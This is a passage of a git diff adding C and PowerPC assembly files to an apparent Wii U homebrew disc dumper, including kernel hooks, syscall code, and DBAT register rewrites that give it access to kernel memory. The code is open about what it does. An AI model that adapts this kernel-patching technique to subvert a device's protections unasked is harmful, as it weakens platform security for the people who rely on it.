|
||||
#define VPAD_BUTTON_RIGHT 0x0400
|
||||
#define VPAD_BUTTON_UP 0x0200
|
||||
#define VPAD_BUTTON_DOWN 0x0100
|
||||
#define VPAD_BUTTON_ZL 0x0080
|
||||
#define VPAD_BUTTON_ZR 0x0040
|
||||
#define VPAD_BUTTON_L 0x0020
|
||||
#define VPAD_BUTTON_R 0x0010
|
||||
#define VPAD_BUTTON_PLUS 0x0008
|
||||
#define VPAD_BUTTON_MINUS 0x0004
|
||||
#define VPAD_BUTTON_HOME 0x0002
|
||||
#define VPAD_BUTTON_SYNC 0x0001
|
||||
#define VPAD_BUTTON_STICK_R 0x00020000
|
||||
#define VPAD_BUTTON_STICK_L 0x00040000
|
||||
#define VPAD_BUTTON_TV 0x00010000
|
||||
|
||||
#define VPAD_STICK_R_EMULATION_LEFT 0x04000000
|
||||
#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000
|
||||
#define VPAD_STICK_R_EMULATION_UP 0x01000000
|
||||
#define VPAD_STICK_R_EMULATION_DOWN 0x00800000
|
||||
|
||||
#define VPAD_STICK_L_EMULATION_LEFT 0x40000000
|
||||
#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000
|
||||
#define VPAD_STICK_L_EMULATION_UP 0x10000000
|
||||
#define VPAD_STICK_L_EMULATION_DOWN 0x08000000
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
f32 x,y;
|
||||
} Vec2D;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u16 x, y; /* Touch coordinates */
|
||||
u16 touched; /* 1 = Touched, 0 = Not touched */
|
||||
u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
|
||||
} VPADTPData;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 btns_h; /* Held buttons */
|
||||
u32 btns_d; /* Buttons that are pressed at that instant */
|
||||
u32 btns_r; /* Released buttons */
|
||||
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
|
||||
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
|
||||
VPADTPData tpdata; /* Normal touchscreen data */
|
||||
VPADTPData tpdata1; /* Modified touchscreen data 1 */
|
||||
VPADTPData tpdata2; /* Modified touchscreen data 2 */
|
||||
char unknown6a[0xa0 - 0x6a];
|
||||
uint8_t volume;
|
||||
uint8_t battery; /* 0 to 6 */
|
||||
uint8_t unk_volume; /* One less than volume */
|
||||
char unknowna4[0xac - 0xa4];
|
||||
} VPADData;
|
||||
|
||||
void InitVPadFunctionPointers(void);
|
||||
|
||||
extern void (* VPADInit)(void);
|
||||
extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __VPAD_FUNCTIONS_H_
|
14
src/entry.c
Normal file
14
src/entry.c
Normal file
@ -0,0 +1,14 @@
|
||||
#include <string.h>
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "dynamic_libs/sys_functions.h"
|
||||
#include "common/common.h"
|
||||
#include "utils/utils.h"
|
||||
#include "main.h"
|
||||
|
||||
int __entry_menu(int argc, char **argv)
|
||||
{
|
||||
//! *******************************************************************
|
||||
//! * Jump to our application *
|
||||
//! *******************************************************************
|
||||
return Menu_Main();
|
||||
}
|
1729
src/game/memory_area_table.c
Normal file
1729
src/game/memory_area_table.c
Normal file
File diff suppressed because it is too large
Load Diff
40
src/game/memory_area_table.h
Normal file
40
src/game/memory_area_table.h
Normal file
@ -0,0 +1,40 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef _MEMORY_AREA_TABLE_H_
|
||||
#define _MEMORY_AREA_TABLE_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Struct used to organize empty memory areas */
|
||||
typedef struct _s_mem_area
|
||||
{
|
||||
unsigned int address;
|
||||
unsigned int size;
|
||||
struct _s_mem_area* next;
|
||||
} s_mem_area;
|
||||
|
||||
void memoryInitAreaTable();
|
||||
s_mem_area * memoryGetAreaTable(void);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // _MEMORY_AREA_TABLE_H_
|
210
src/game/rpx_rpl_table.c
Normal file
210
src/game/rpx_rpl_table.c
Normal file
@ -0,0 +1,210 @@
|
||||
#include <string.h>
|
||||
#include "rpx_rpl_table.h"
|
||||
#include "kernel/kernel_functions.h"
|
||||
#include "common/common.h"
|
||||
|
||||
//! static container holding our retain data
|
||||
static unsigned char ucRpxData[0xffff];
|
||||
static int iRpxRplCount = 0;
|
||||
|
||||
void rpxRplTableInit(void)
|
||||
{
|
||||
s_rpx_rpl *pRpxData = (s_rpx_rpl*)ucRpxData;
|
||||
//! initialize the RPL/RPX table first entry to zero + 1 byte for name zero termination
|
||||
//! just in case no RPL/RPX are found, though it wont boot then anyway
|
||||
memset(pRpxData, 0, sizeof(s_rpx_rpl) + 1);
|
||||
iRpxRplCount = 0;
|
||||
}
|
||||
|
||||
s_rpx_rpl * rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area)
|
||||
{
|
||||
// fill rpx/rpl entry
|
||||
s_rpx_rpl * rpx_rpl_data = (s_rpx_rpl *)(ucRpxData);
|
||||
// get to last entry
|
||||
while(rpx_rpl_data->next) {
|
||||
rpx_rpl_data = rpx_rpl_data->next;
|
||||
}
|
||||
|
||||
// setup next entry on the previous one (only if it is not the first entry)
|
||||
if(entry_index > 0) {
|
||||
rpx_rpl_data->next = (s_rpx_rpl *)( ((u32)rpx_rpl_data) + sizeof(s_rpx_rpl) + strlen(rpx_rpl_data->name) + 1 );
|
||||
rpx_rpl_data = rpx_rpl_data->next;
|
||||
}
|
||||
|
||||
// setup current entry
|
||||
rpx_rpl_data->area = area;
|
||||
rpx_rpl_data->size = size;
|
||||
rpx_rpl_data->offset = offset;
|
||||
rpx_rpl_data->is_rpx = is_rpx;
|
||||
rpx_rpl_data->next = 0;
|
||||
strcpy(rpx_rpl_data->name, name);
|
||||
|
||||
iRpxRplCount++;
|
||||
|
||||
return rpx_rpl_data;
|
||||
}
|
||||
|
||||
s_rpx_rpl* rpxRplTableGet(void)
|
||||
{
|
||||
return (s_rpx_rpl*)ucRpxData;
|
||||
}
|
||||
|
||||
int rpxRplTableGetCount(void)
|
||||
{
|
||||
return iRpxRplCount;
|
||||
}
|
||||
|
||||
s_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset)
|
||||
{
|
||||
s_mem_area * mem_area = memoryGetAreaTable();
|
||||
s_rpx_rpl *rpl_struct = rpxRplTableGet();
|
||||
while(rpl_struct != 0)
|
||||
{
|
||||
// check if this entry was loaded into memory
|
||||
if(rpl_struct->size == 0) {
|
||||
// see if we find entries behind this one that was pre-loaded
|
||||
rpl_struct = rpl_struct->next;
|
||||
// entry was not loaded into memory -> skip it
|
||||
continue;
|
||||
}
|
||||
|
||||
// this entry has been loaded to memory, remember it's area
|
||||
mem_area = rpl_struct->area;
|
||||
|
||||
int rpl_size = rpl_struct->size;
|
||||
int rpl_offset = rpl_struct->offset;
|
||||
// find the end of the entry and switch between areas if needed
|
||||
while(mem_area && (u32)(rpl_offset + rpl_size) >= mem_area->size)
|
||||
{
|
||||
rpl_size -= mem_area->size - rpl_offset;
|
||||
rpl_offset = 0;
|
||||
mem_area = mem_area->next;
|
||||
}
|
||||
|
||||
if(!mem_area)
|
||||
return NULL;
|
||||
|
||||
// set new start, end and memory area offset
|
||||
*mem_area_addr_start = mem_area->address;
|
||||
*mem_area_addr_end = mem_area->address + mem_area->size;
|
||||
*mem_area_offset = rpl_offset + rpl_size;
|
||||
|
||||
// see if we find entries behind this one that was pre-loaded
|
||||
rpl_struct = rpl_struct->next;
|
||||
}
|
||||
return mem_area;
|
||||
}
|
||||
|
||||
int rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize)
|
||||
{
|
||||
s_mem_area *mem_area = rpx_rpl_struct->area;
|
||||
u32 mem_area_addr_start = mem_area->address;
|
||||
u32 mem_area_addr_end = mem_area_addr_start + mem_area->size;
|
||||
u32 mem_area_offset = rpx_rpl_struct->offset;
|
||||
|
||||
// add to offset
|
||||
mem_area_offset += fileOffset;
|
||||
|
||||
// skip position to the end of the fill
|
||||
while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >=
|
||||
{
|
||||
// subtract what was in the offset left from last memory block
|
||||
mem_area_offset = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end;
|
||||
mem_area = mem_area->next;
|
||||
if(!mem_area)
|
||||
return 0;
|
||||
|
||||
mem_area_addr_start = mem_area->address;
|
||||
mem_area_addr_end = mem_area_addr_start + mem_area->size;
|
||||
}
|
||||
|
||||
// copy to memory
|
||||
u32 copiedBytes = 0;
|
||||
while(copiedBytes < dataSize)
|
||||
{
|
||||
u32 blockSize = dataSize - copiedBytes;
|
||||
u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset;
|
||||
|
||||
if((mem_area_addr_dest + blockSize) > mem_area_addr_end)
|
||||
blockSize = mem_area_addr_end - mem_area_addr_dest;
|
||||
|
||||
if(blockSize == 0)
|
||||
{
|
||||
// Set next memory area
|
||||
mem_area = mem_area->next;
|
||||
if(!mem_area)
|
||||
return 0;
|
||||
|
||||
mem_area_addr_start = mem_area->address;
|
||||
mem_area_addr_end = mem_area->address + mem_area->size;
|
||||
mem_area_offset = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
SC0x25_KernelCopyData(mem_area_addr_dest, (u32)&data[copiedBytes], blockSize);
|
||||
mem_area_offset += blockSize;
|
||||
copiedBytes += blockSize;
|
||||
}
|
||||
|
||||
return copiedBytes;
|
||||
}
|
||||
|
||||
int rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize)
|
||||
{
|
||||
s_mem_area *mem_area = rpx_rpl_struct->area;
|
||||
u32 mem_area_addr_start = mem_area->address;
|
||||
u32 mem_area_addr_end = mem_area_addr_start + mem_area->size;
|
||||
u32 mem_area_offset = rpx_rpl_struct->offset;
|
||||
|
||||
if(fileOffset > rpx_rpl_struct->size)
|
||||
return 0;
|
||||
|
||||
if((fileOffset + dataSize) > rpx_rpl_struct->size)
|
||||
dataSize = rpx_rpl_struct->size - fileOffset;
|
||||
|
||||
// add to offset
|
||||
mem_area_offset += fileOffset;
|
||||
|
||||
// skip position to the end of the fill
|
||||
while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >=
|
||||
{
|
||||
// subtract what was in the offset left from last memory block
|
||||
mem_area_offset = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end;
|
||||
mem_area = mem_area->next;
|
||||
if(!mem_area)
|
||||
return 0;
|
||||
|
||||
mem_area_addr_start = mem_area->address;
|
||||
mem_area_addr_end = mem_area_addr_start + mem_area->size;
|
||||
}
|
||||
|
||||
// copy to memory
|
||||
u32 copiedBytes = 0;
|
||||
while(copiedBytes < dataSize)
|
||||
{
|
||||
u32 blockSize = dataSize - copiedBytes;
|
||||
u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset;
|
||||
|
||||
if((mem_area_addr_dest + blockSize) > mem_area_addr_end)
|
||||
blockSize = mem_area_addr_end - mem_area_addr_dest;
|
||||
|
||||
if(blockSize == 0)
|
||||
{
|
||||
// Set next memory area
|
||||
mem_area = mem_area->next;
|
||||
if(!mem_area)
|
||||
return 0;
|
||||
|
||||
mem_area_addr_start = mem_area->address;
|
||||
mem_area_addr_end = mem_area->address + mem_area->size;
|
||||
mem_area_offset = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
SC0x25_KernelCopyData((u32)&data[copiedBytes], mem_area_addr_dest, blockSize);
|
||||
mem_area_offset += blockSize;
|
||||
copiedBytes += blockSize;
|
||||
}
|
||||
|
||||
return copiedBytes;
|
||||
}
|
37
src/game/rpx_rpl_table.h
Normal file
37
src/game/rpx_rpl_table.h
Normal file
@ -0,0 +1,37 @@
|
||||
#ifndef __RPX_ARRAY_H_
|
||||
#define __RPX_ARRAY_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
#include "common/common.h"
|
||||
#include "memory_area_table.h"
|
||||
|
||||
/* Struct used to organize rpx/rpl data in memory */
|
||||
typedef struct _s_rpx_rpl
|
||||
{
|
||||
struct _s_rpx_rpl* next;
|
||||
s_mem_area* area;
|
||||
unsigned int offset;
|
||||
unsigned int size;
|
||||
unsigned char is_rpx;
|
||||
char name[0];
|
||||
} s_rpx_rpl;
|
||||
|
||||
void rpxRplTableInit(void);
|
||||
s_rpx_rpl* rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area);
|
||||
s_rpx_rpl* rpxRplTableGet(void);
|
||||
int rpxRplTableGetCount(void);
|
||||
|
||||
s_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset);
|
||||
int rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize);
|
||||
int rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#endif
|
81
src/kernel/kernel_functions.c
Normal file
81
src/kernel/kernel_functions.c
Normal file
@ -0,0 +1,81 @@
|
||||
#include <string.h>
|
||||
#include "common/common.h"
|
||||
#include "common/kernel_defs.h"
|
||||
#include "kernel/kernel_functions.h"
|
||||
#include "kernel/syscalls.h"
|
||||
#include "discdumper.h"
|
||||
|
||||
/* our retain data */
|
||||
ReducedCosAppXmlInfo cosAppXmlInfoStruct __attribute__((section(".data")));
|
||||
/*
|
||||
* This function is a kernel hook function. It is called directly from kernel code at position 0xFFF18558.
|
||||
*/
|
||||
void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo)
|
||||
{
|
||||
/**
|
||||
* DBAT for access to our data region is setup at this point for the 0xC0000000 area.
|
||||
*/
|
||||
|
||||
//! Copy all data from the XML info
|
||||
strncpy(cosAppXmlInfoStruct.rpx_name, xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE);
|
||||
|
||||
cosAppXmlInfoStruct.version_cos_xml = xmlKernelInfo->version_cos_xml;
|
||||
cosAppXmlInfoStruct.os_version = xmlKernelInfo->os_version;
|
||||
cosAppXmlInfoStruct.title_id = xmlKernelInfo->title_id;
|
||||
cosAppXmlInfoStruct.app_type = xmlKernelInfo->app_type;
|
||||
cosAppXmlInfoStruct.cmdFlags = xmlKernelInfo->cmdFlags;
|
||||
cosAppXmlInfoStruct.max_size = xmlKernelInfo->max_size;
|
||||
cosAppXmlInfoStruct.avail_size = xmlKernelInfo->avail_size;
|
||||
cosAppXmlInfoStruct.codegen_size = xmlKernelInfo->codegen_size;
|
||||
cosAppXmlInfoStruct.codegen_core = xmlKernelInfo->codegen_core;
|
||||
cosAppXmlInfoStruct.max_codesize = xmlKernelInfo->max_codesize;
|
||||
cosAppXmlInfoStruct.overlay_arena = xmlKernelInfo->overlay_arena;
|
||||
cosAppXmlInfoStruct.default_stack0_size = xmlKernelInfo->default_stack0_size;
|
||||
cosAppXmlInfoStruct.default_stack1_size = xmlKernelInfo->default_stack1_size;
|
||||
cosAppXmlInfoStruct.default_stack2_size = xmlKernelInfo->default_stack2_size;
|
||||
cosAppXmlInfoStruct.default_redzone0_size = xmlKernelInfo->default_redzone0_size;
|
||||
cosAppXmlInfoStruct.default_redzone1_size = xmlKernelInfo->default_redzone1_size;
|
||||
cosAppXmlInfoStruct.default_redzone2_size = xmlKernelInfo->default_redzone2_size;
|
||||
cosAppXmlInfoStruct.exception_stack0_size = xmlKernelInfo->exception_stack0_size;
|
||||
cosAppXmlInfoStruct.exception_stack1_size = xmlKernelInfo->exception_stack1_size;
|
||||
cosAppXmlInfoStruct.exception_stack2_size = xmlKernelInfo->exception_stack2_size;
|
||||
cosAppXmlInfoStruct.sdk_version = xmlKernelInfo->sdk_version;
|
||||
cosAppXmlInfoStruct.title_version = xmlKernelInfo->title_version;
|
||||
|
||||
// on title switch reset the dumper
|
||||
ResetDumper();
|
||||
}
|
||||
|
||||
void SetupKernelCallback(void)
|
||||
{
|
||||
KernelSetupSyscalls();
|
||||
}
|
||||
|
||||
void KernelSetDBATs(bat_table_t * table)
|
||||
{
|
||||
SC0x36_KernelReadDBATs(table);
|
||||
bat_table_t bat_table_copy = *table;
|
||||
|
||||
// try to use a free slot
|
||||
int iUse;
|
||||
for(iUse = 0; iUse < 7; iUse++)
|
||||
{
|
||||
// skip position 5 as it is our main DBAT for our code data
|
||||
if(iUse == 5)
|
||||
continue;
|
||||
|
||||
if(bat_table_copy.bat[iUse].h == 0 || bat_table_copy.bat[iUse].l == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
bat_table_copy.bat[iUse].h = 0xC0001FFF;
|
||||
bat_table_copy.bat[iUse].l = 0x30000012;
|
||||
SC0x37_KernelWriteDBATs(&bat_table_copy);
|
||||
}
|
||||
|
||||
void KernelRestoreDBATs(bat_table_t * table)
|
||||
{
|
||||
SC0x37_KernelWriteDBATs(table);
|
||||
}
|
22
src/kernel/kernel_functions.h
Normal file
22
src/kernel/kernel_functions.h
Normal file
@ -0,0 +1,22 @@
|
||||
#ifndef __KERNEL_FUNCTIONS_H_
|
||||
#define __KERNEL_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common/kernel_defs.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
extern ReducedCosAppXmlInfo cosAppXmlInfoStruct;
|
||||
|
||||
void SetupKernelCallback(void);
|
||||
|
||||
void KernelSetDBATs(bat_table_t * table);
|
||||
void KernelRestoreDBATs(bat_table_t * table);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __KERNEL_FUNCTIONS_H_
|
135
src/kernel/kernel_hooks.S
Normal file
135
src/kernel/kernel_hooks.S
Normal file
@ -0,0 +1,135 @@
|
||||
# This stuff may need a change in different kernel versions
|
||||
# This is only needed when launched directly through browser and not SD card.
|
||||
|
||||
.section ".kernel_code"
|
||||
.globl SaveAndResetDataBATs_And_SRs_hook
|
||||
SaveAndResetDataBATs_And_SRs_hook:
|
||||
# setup CTR to the position we need to return to
|
||||
mflr r5
|
||||
mtctr r5
|
||||
# set link register to its original value
|
||||
mtlr r7
|
||||
# setup us a nice DBAT for our code data with same region as our code
|
||||
mfspr r5, 560
|
||||
mtspr 570, r5
|
||||
mfspr r5, 561
|
||||
mtspr 571, r5
|
||||
# restore the original kernel instructions that we replaced
|
||||
lwz r5, 0x34(r3)
|
||||
lwz r6, 0x38(r3)
|
||||
lwz r7, 0x3C(r3)
|
||||
lwz r8, 0x40(r3)
|
||||
lwz r9, 0x44(r3)
|
||||
lwz r10, 0x48(r3)
|
||||
lwz r11, 0x4C(r3)
|
||||
lwz r3, 0x50(r3)
|
||||
isync
|
||||
mtsr 7, r5
|
||||
# jump back to the position in kernel after our patch (from LR)
|
||||
bctr
|
||||
|
||||
.extern my_PrepareTitle
|
||||
.globl my_PrepareTitle_hook
|
||||
my_PrepareTitle_hook:
|
||||
# store all registers on stack to avoid issues with the call to C functions
|
||||
stwu r1, -0x90(r1)
|
||||
# registers for our own usage
|
||||
# only need r31 and rest is from tests before, just leaving it for later tests
|
||||
stw r28, 0x20(r1)
|
||||
stw r29, 0x24(r1)
|
||||
stw r30, 0x28(r1)
|
||||
stw r31, 0x2C(r1)
|
||||
|
||||
stw r3, 0x30(r1)
|
||||
stw r4, 0x34(r1)
|
||||
stw r5, 0x38(r1)
|
||||
stw r6, 0x3C(r1)
|
||||
stw r7, 0x40(r1)
|
||||
stw r8, 0x44(r1)
|
||||
stw r9, 0x48(r1)
|
||||
stw r10, 0x4C(r1)
|
||||
stw r11, 0x50(r1)
|
||||
stw r12, 0x54(r1)
|
||||
stw r13, 0x58(r1)
|
||||
stw r14, 0x5C(r1)
|
||||
stw r15, 0x60(r1)
|
||||
stw r16, 0x64(r1)
|
||||
stw r17, 0x68(r1)
|
||||
stw r18, 0x6C(r1)
|
||||
stw r19, 0x70(r1)
|
||||
stw r20, 0x74(r1)
|
||||
stw r21, 0x78(r1)
|
||||
stw r22, 0x7C(r1)
|
||||
|
||||
# save original DBAT registers
|
||||
mfdbatu r28, 0
|
||||
mfdbatl r29, 0
|
||||
|
||||
# setup access to our data memory range
|
||||
lis r3, 0xC000
|
||||
ori r3, r3, 0x1FFF
|
||||
mtdbatu 0, r3
|
||||
lis r3, 0x3000
|
||||
ori r3, r3, 0x0012
|
||||
mtdbatl 0, r3
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# save the LR from where we came
|
||||
mflr r31
|
||||
|
||||
# the cos.xml/app.xml structure is at the location 0x68 of r11
|
||||
# there are actually many places that can be hooked for it
|
||||
# e.g. 0xFFF16130 and r27 points to this structure
|
||||
addi r3, r11, 0x68
|
||||
|
||||
bl my_PrepareTitle
|
||||
|
||||
# restore original DBAT registers
|
||||
mtdbatu 0, r28
|
||||
mtdbatl 0, r29
|
||||
|
||||
# memory barrier
|
||||
eieio
|
||||
isync
|
||||
|
||||
# setup LR to jump back to kernel code
|
||||
mtlr r31
|
||||
|
||||
# restore all original values of registers from stack
|
||||
lwz r28, 0x20(r1)
|
||||
lwz r29, 0x24(r1)
|
||||
lwz r30, 0x28(r1)
|
||||
lwz r31, 0x2C(r1)
|
||||
|
||||
lwz r3, 0x30(r1)
|
||||
lwz r4, 0x34(r1)
|
||||
lwz r5, 0x38(r1)
|
||||
lwz r6, 0x3C(r1)
|
||||
lwz r7, 0x40(r1)
|
||||
lwz r8, 0x44(r1)
|
||||
lwz r9, 0x48(r1)
|
||||
lwz r10, 0x4C(r1)
|
||||
lwz r11, 0x50(r1)
|
||||
lwz r12, 0x54(r1)
|
||||
lwz r13, 0x58(r1)
|
||||
lwz r14, 0x5C(r1)
|
||||
lwz r15, 0x60(r1)
|
||||
lwz r16, 0x64(r1)
|
||||
lwz r17, 0x68(r1)
|
||||
lwz r18, 0x6C(r1)
|
||||
lwz r19, 0x70(r1)
|
||||
lwz r20, 0x74(r1)
|
||||
lwz r21, 0x78(r1)
|
||||
lwz r22, 0x7C(r1)
|
||||
|
||||
# restore the stack
|
||||
addi r1, r1, 0x90
|
||||
|
||||
# restore original instruction that we replaced in the kernel
|
||||
clrlwi r7, r12, 0
|
||||
|
||||
# jump back
|
||||
blr
|
208
src/kernel/syscalls.c
Normal file
208
src/kernel/syscalls.c
Normal file
@ -0,0 +1,208 @@
|
||||
#include "common/os_defs.h"
|
||||
#include "common/kernel_defs.h"
|
||||
#include "common/common.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "utils/utils.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
extern void my_PrepareTitle_hook(void);
|
||||
|
||||
static unsigned int origPrepareTitleInstr __attribute__((section(".data"))) = 0;
|
||||
|
||||
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
|
||||
{
|
||||
/*
|
||||
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
|
||||
*/
|
||||
register int dbatu0, dbatl0, dbatu1, dbatl1;
|
||||
// save the original DBAT value
|
||||
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
|
||||
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
|
||||
asm volatile("mfdbatu %0, 1" : "=r" (dbatu1));
|
||||
asm volatile("mfdbatl %0, 1" : "=r" (dbatl1));
|
||||
|
||||
// write our own DBATs into the array
|
||||
if( ((addr & 0xFFF00000) == 0xFFF00000) || ((src & 0xFFF00000) == 0xFFF00000) )
|
||||
{
|
||||
// setup kernel code access
|
||||
unsigned int dbatu = 0;
|
||||
unsigned int dbatl = 0;
|
||||
|
||||
if((src & 0xFFF00000) == 0xFFF00000) {
|
||||
dbatu = (src & 0xFFF00000) | 0x02;
|
||||
dbatl = (src & 0xFFF00000) | 0x32;
|
||||
}
|
||||
else {
|
||||
dbatu = (addr & 0xFFF00000) | 0x02;
|
||||
dbatl = (addr & 0xFFF00000) | 0x32;
|
||||
}
|
||||
|
||||
if( ((addr & 0xFFF00000) != (dbatu0 & 0xFFF00000)) && ((src & 0xFFF00000) != (dbatu0 & 0xFFF00000)) )
|
||||
{
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (dbatu));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (dbatl));
|
||||
}
|
||||
else
|
||||
{
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (dbatu));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (dbatl));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (0xC0001FFF));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (0x30000012));
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (0xB0801FFF));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (0x20800012));
|
||||
}
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
|
||||
unsigned char *src_p = (unsigned char*)src;
|
||||
unsigned char *dst_p = (unsigned char*)addr;
|
||||
|
||||
unsigned int i;
|
||||
for(i = 0; i < len; i++)
|
||||
{
|
||||
dst_p[i] = src_p[i];
|
||||
}
|
||||
|
||||
/*
|
||||
* Restore original DBAT value
|
||||
*/
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (dbatl1));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
static void KernelReadDBATs(bat_table_t * table)
|
||||
{
|
||||
u32 i = 0;
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
asm volatile("mfspr %0, 536" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 537" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 538" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 539" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 540" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 541" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 542" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 543" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
|
||||
asm volatile("mfspr %0, 568" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 569" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 570" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 571" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 572" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 573" : "=r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mfspr %0, 574" : "=r" (table->bat[i].h));
|
||||
asm volatile("mfspr %0, 575" : "=r" (table->bat[i].l));
|
||||
}
|
||||
|
||||
static void KernelWriteDBATs(bat_table_t * table)
|
||||
{
|
||||
u32 i = 0;
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
asm volatile("mtspr 536, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 537, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 538, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 539, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 540, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 541, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 542, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 543, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
|
||||
asm volatile("mtspr 568, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 569, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 570, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 571, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 572, %0" : : "r" (table->bat[i].h));
|
||||
